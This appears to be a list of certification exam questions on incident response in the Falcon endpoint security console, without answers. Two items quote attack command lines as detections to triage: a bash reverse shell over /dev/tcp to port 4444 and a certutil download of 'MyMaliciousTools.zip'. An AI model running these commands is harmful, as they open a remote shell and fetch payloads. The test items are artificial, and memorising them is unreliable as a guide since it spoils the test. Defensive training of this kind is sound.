In the context of raw event searching, the term ' ProcessRollup2 ' refers to a value within which field?
The Falcon console integrates heavily with the MITRE ATT AND CK framework to provide industry-standard context. Which of the following tactics displayed in the detection UI is a direct implementation of a MITRE ATT AND CK tactic?
Responders must understand the limitations and capabilities of custom rules. Which of the following statements about custom IOAs is FALSE?
To ensure that a malicious file cannot be accidentally executed or accessed by other processes, how are quarantined files stored on the local endpoints?
Refer to the image.
Command line:
/bin/bash -c sh -i > & /dev/tcp/172.17.0.21/4444 0 > & 1
File path:
/bin/bash
You receive a detection on the Bash process indicating the command line in the image above.
Based on the command line, what is the next step you should take?
To perform a deep-dive investigation into a specific detection, a responder needs to pivot to a process timeline. What is the minimum information required to be gathered from the detection before making this pivot?
You receive a detection on certutil.exe executing the following command line:
certutil -urlcache -split -f " hxxps[:]//github[.] com/Endizz/Payloads/raw/main/MyMaliciousTools.zip " " MyMaliciousTools.zip "
What is the appropriate next step to discover how this occurred?
When using ' User Search ' to investigate a potentially compromised account, which of the following is NOT a filter available in the User Search?
The Falcon console is divided into several modules. Timelines (Host and Process) are technically a part of which Falcon page?
An adversary is attempting to disable security features by modifying the system registry. Which of the following native Windows processes is specifically designed to create, modify, and delete Registry keys via the command line?
